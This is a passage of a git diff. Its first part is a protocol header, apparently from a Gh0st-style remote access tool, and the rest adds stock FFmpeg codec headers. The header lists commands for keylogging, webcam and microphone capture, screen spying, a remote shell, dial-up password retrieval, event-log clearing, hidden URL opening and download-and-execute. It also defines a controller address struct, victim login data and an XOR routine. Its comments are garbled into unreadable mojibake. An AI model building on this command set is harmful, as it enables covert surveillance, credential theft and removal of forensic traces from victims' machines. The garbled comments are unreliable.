COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
||||
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||
COMMAND_SHELL, // cmdshell
|
||||
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
||||
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
||||
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
||||
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
|
||||
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
||||
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
||||
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
||||
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
SERVER_EXIT=205, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
|
||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
public:
|
||||
unsigned long dwFlag;
|
||||
char szServerIP[_MAX_PATH];
|
||||
int iPort;
|
||||
int iType;
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
iType = typ;
|
||||
}
|
||||
const unsigned long & Flag() const {
|
||||
return dwFlag;
|
||||
}
|
||||
const char* ServerIP()const {
|
||||
return szServerIP;
|
||||
}
|
||||
int ServerPort()const {
|
||||
return iPort;
|
||||
}
|
||||
int ClientType()const {
|
||||
return iType;
|
||||
}
|
||||
void SetServer(const char* ip, int port) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
iPort = port;
|
||||
}
|
||||
bool IsValid()const {
|
||||
return strlen(szServerIP) != 0 && iPort > 0;
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||
// Ϊ<>ˣ<EFBFBD><CBA3><EFBFBD>20241228<32>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>Ԥ<EFBFBD><D4A4><EFBFBD>ֶΣ<D6B6><CEA3>Ա<EFBFBD>δ<EFBFBD><CEB4>֮<EFBFBD><D6AE>ʱ֮<CAB1><D6AE>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ˽ṹ<CBBD>壬<EFBFBD><E5A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
typedef struct LOGIN_INFOR
|
||||
{
|
||||
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
||||
|
||||
LOGIN_INFOR(){
|
||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||
strcpy_s(moduleVersion, DLL_VERSION);
|
||||
}
|
||||
}LOGIN_INFOR;
|
||||
|
||||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||
for (char key : keys) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= key;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
||||
#define SCREENYSPY_IMPROVE 0
|
||||
#define SCREENSPY_WRITE 0
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
||||
char path[_MAX_PATH];
|
||||
if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
|
||||
strcpy_s(path, filePrefix.c_str());
|
||||
}
|
||||
else {
|
||||
sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
|
||||
}
|
||||
FILE* File = fopen(path, "wb");
|
||||
if (File) {
|
||||
BITMAPFILEHEADER fileHeader = { 0 };
|
||||
fileHeader.bfType = 0x4D42; // "BM"
|
||||
fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
|
||||
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
|
||||
|
||||
fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
|
||||
fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
|
||||
fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
|
||||
fclose(File);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifdef _WINDOWS
|
||||
#include <afxwin.h>
|
||||
#else
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#endif
|
||||
class MSG32 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(32λ)
|
||||
public:
|
||||
uint32_t hwnd;
|
||||
uint32_t message;
|
||||
uint32_t wParam;
|
||||
uint32_t lParam;
|
||||
uint32_t time;
|
||||
POINT pt;
|
||||
|
||||
MSG32(const void* buffer, int size) {
|
||||
if (size == sizeof(MSG32)) {
|
||||
memcpy(this, buffer, sizeof(MSG32));
|
||||
}
|
||||
else {
|
||||
memset(this, 0, sizeof(MSG32));
|
||||
}
|
||||
}
|
||||
|
||||
MSG32() {
|
||||
memset(this, 0, sizeof(MSG32));
|
||||
}
|
||||
|
||||
MSG32* Create(const void* buffer, int size) {
|
||||
if (size == sizeof(MSG32)) {
|
||||
memcpy(this, buffer, sizeof(MSG32));
|
||||
}
|
||||
else {
|
||||
memset(this, 0, sizeof(MSG32));
|
||||
}
|
||||
return this;
|
||||
}
|
||||
};
|
||||
|
||||
// Windows <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢMSG<53><47>32λ<32><CEBB>64λϵͳ<CFB5>´<EFBFBD>С<EFBFBD><D0A1>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD>¿<EFBFBD>ƽ̨<C6BD>ܹ<EFBFBD>Զ<EFBFBD>̿<EFBFBD><CCBF><EFBFBD><EFBFBD>쳣
|
||||
// <20><>Ҫʹ<D2AA><CAB9><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(ͳһ<CDB3><D2BB><EFBFBD><EFBFBD>64λwindows <20><>MSG<53><47><EFBFBD><EFBFBD>)
|
||||
class MSG64 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(64λ)
|
||||
public:
|
||||
uint64_t hwnd;
|
||||
uint64_t message;
|
||||
uint64_t wParam;
|
||||
uint64_t lParam;
|
||||
uint64_t time;
|
||||
POINT pt;
|
||||
|
||||
MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
|
||||
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
|
||||
|
||||
MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
|
||||
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
|
||||
|
||||
MSG64(const void* buffer, int size) {
|
||||
if (size == sizeof(MSG64)) {
|
||||
memcpy(this, buffer, sizeof(MSG64));
|
||||
}
|
||||
else {
|
||||
memset(this, 0, sizeof(MSG64));
|
||||
}
|
||||
}
|
||||
|
||||
MSG64() {
|
||||
memset(this, 0, sizeof(MSG64));
|
||||
}
|
||||
|
||||
MSG64* Create(const MSG32* msg32) {
|
||||
hwnd = msg32->hwnd;
|
||||
message = msg32->message;
|
||||
wParam = msg32->wParam;
|
||||
lParam = msg32->lParam;
|
||||
time = msg32->time;
|
||||
pt = msg32->pt;
|
||||
return this;
|
||||
}
|
||||
};
|
||||
|
||||
#endif
|
||||
BIN
compress/libavcodec.lib
Normal file
BIN
compress/libavcodec.lib
Normal file
Binary file not shown.
36
compress/libavcodec/ac3_parser.h
Normal file
36
compress/libavcodec/ac3_parser.h
Normal file
@@ -0,0 +1,36 @@
|
||||
/*
|
||||
* AC-3 parser prototypes
|
||||
* Copyright (c) 2003 Fabrice Bellard
|
||||
* Copyright (c) 2003 Michael Niedermayer
|
||||
*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_AC3_PARSER_H
|
||||
#define AVCODEC_AC3_PARSER_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/**
|
||||
* Extract the bitstream ID and the frame size from AC-3 data.
|
||||
*/
|
||||
int av_ac3_parse_header(const uint8_t *buf, size_t size,
|
||||
uint8_t *bitstream_id, uint16_t *frame_size);
|
||||
|
||||
|
||||
#endif /* AVCODEC_AC3_PARSER_H */
|
||||
37
compress/libavcodec/adts_parser.h
Normal file
37
compress/libavcodec/adts_parser.h
Normal file
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_ADTS_PARSER_H
|
||||
#define AVCODEC_ADTS_PARSER_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define AV_AAC_ADTS_HEADER_SIZE 7
|
||||
|
||||
/**
|
||||
* Extract the number of samples and frames from AAC data.
|
||||
* @param[in] buf pointer to AAC data buffer
|
||||
* @param[out] samples Pointer to where number of samples is written
|
||||
* @param[out] frames Pointer to where number of frames is written
|
||||
* @return Returns 0 on success, error code on failure.
|
||||
*/
|
||||
int av_adts_header_parse(const uint8_t *buf, uint32_t *samples,
|
||||
uint8_t *frames);
|
||||
|
||||
#endif /* AVCODEC_ADTS_PARSER_H */
|
||||
6147
compress/libavcodec/avcodec.h
Normal file
6147
compress/libavcodec/avcodec.h
Normal file
File diff suppressed because it is too large
Load Diff
84
compress/libavcodec/avdct.h
Normal file
84
compress/libavcodec/avdct.h
Normal file
@@ -0,0 +1,84 @@
|
||||
/*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_AVDCT_H
|
||||
#define AVCODEC_AVDCT_H
|
||||
|
||||
#include "libavutil/opt.h"
|
||||
|
||||
/**
|
||||
* AVDCT context.
|
||||
* @note function pointers can be NULL if the specific features have been
|
||||
* disabled at build time.
|
||||
*/
|
||||
typedef struct AVDCT {
|
||||
const AVClass *av_class;
|
||||
|
||||
void (*idct)(int16_t *block /* align 16 */);
|
||||
|
||||
/**
|
||||
* IDCT input permutation.
|
||||
* Several optimized IDCTs need a permutated input (relative to the
|
||||
* normal order of the reference IDCT).
|
||||
* This permutation must be performed before the idct_put/add.
|
||||
* Note, normally this can be merged with the zigzag/alternate scan<br>
|
||||
* An example to avoid confusion:
|
||||
* - (->decode coeffs -> zigzag reorder -> dequant -> reference IDCT -> ...)
|
||||
* - (x -> reference DCT -> reference IDCT -> x)
|
||||
* - (x -> reference DCT -> simple_mmx_perm = idct_permutation
|
||||
* -> simple_idct_mmx -> x)
|
||||
* - (-> decode coeffs -> zigzag reorder -> simple_mmx_perm -> dequant
|
||||
* -> simple_idct_mmx -> ...)
|
||||
*/
|
||||
uint8_t idct_permutation[64];
|
||||
|
||||
void (*fdct)(int16_t *block /* align 16 */);
|
||||
|
||||
|
||||
/**
|
||||
* DCT algorithm.
|
||||
* must use AVOptions to set this field.
|
||||
*/
|
||||
int dct_algo;
|
||||
|
||||
/**
|
||||
* IDCT algorithm.
|
||||
* must use AVOptions to set this field.
|
||||
*/
|
||||
int idct_algo;
|
||||
|
||||
void (*get_pixels)(int16_t *block /* align 16 */,
|
||||
const uint8_t *pixels /* align 8 */,
|
||||
ptrdiff_t line_size);
|
||||
|
||||
int bits_per_sample;
|
||||
} AVDCT;
|
||||
|
||||
/**
|
||||
* Allocates a AVDCT context.
|
||||
* This needs to be initialized with avcodec_dct_init() after optionally
|
||||
* configuring it with AVOptions.
|
||||
*
|
||||
* To free it use av_free()
|
||||
*/
|
||||
AVDCT *avcodec_dct_alloc(void);
|
||||
int avcodec_dct_init(AVDCT *);
|
||||
|
||||
const AVClass *avcodec_dct_get_class(void);
|
||||
|
||||
#endif /* AVCODEC_AVDCT_H */
|
||||
118
compress/libavcodec/avfft.h
Normal file
118
compress/libavcodec/avfft.h
Normal file
@@ -0,0 +1,118 @@
|
||||
/*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_AVFFT_H
|
||||
#define AVCODEC_AVFFT_H
|
||||
|
||||
/**
|
||||
* @file
|
||||
* @ingroup lavc_fft
|
||||
* FFT functions
|
||||
*/
|
||||
|
||||
/**
|
||||
* @defgroup lavc_fft FFT functions
|
||||
* @ingroup lavc_misc
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
typedef float FFTSample;
|
||||
|
||||
typedef struct FFTComplex {
|
||||
FFTSample re, im;
|
||||
} FFTComplex;
|
||||
|
||||
typedef struct FFTContext FFTContext;
|
||||
|
||||
/**
|
||||
* Set up a complex FFT.
|
||||
* @param nbits log2 of the length of the input array
|
||||
* @param inverse if 0 perform the forward transform, if 1 perform the inverse
|
||||
*/
|
||||
FFTContext *av_fft_init(int nbits, int inverse);
|
||||
|
||||
/**
|
||||
* Do the permutation needed BEFORE calling ff_fft_calc().
|
||||
*/
|
||||
void av_fft_permute(FFTContext *s, FFTComplex *z);
|
||||
|
||||
/**
|
||||
* Do a complex FFT with the parameters defined in av_fft_init(). The
|
||||
* input data must be permuted before. No 1.0/sqrt(n) normalization is done.
|
||||
*/
|
||||
void av_fft_calc(FFTContext *s, FFTComplex *z);
|
||||
|
||||
void av_fft_end(FFTContext *s);
|
||||
|
||||
FFTContext *av_mdct_init(int nbits, int inverse, double scale);
|
||||
void av_imdct_calc(FFTContext *s, FFTSample *output, const FFTSample *input);
|
||||
void av_imdct_half(FFTContext *s, FFTSample *output, const FFTSample *input);
|
||||
void av_mdct_calc(FFTContext *s, FFTSample *output, const FFTSample *input);
|
||||
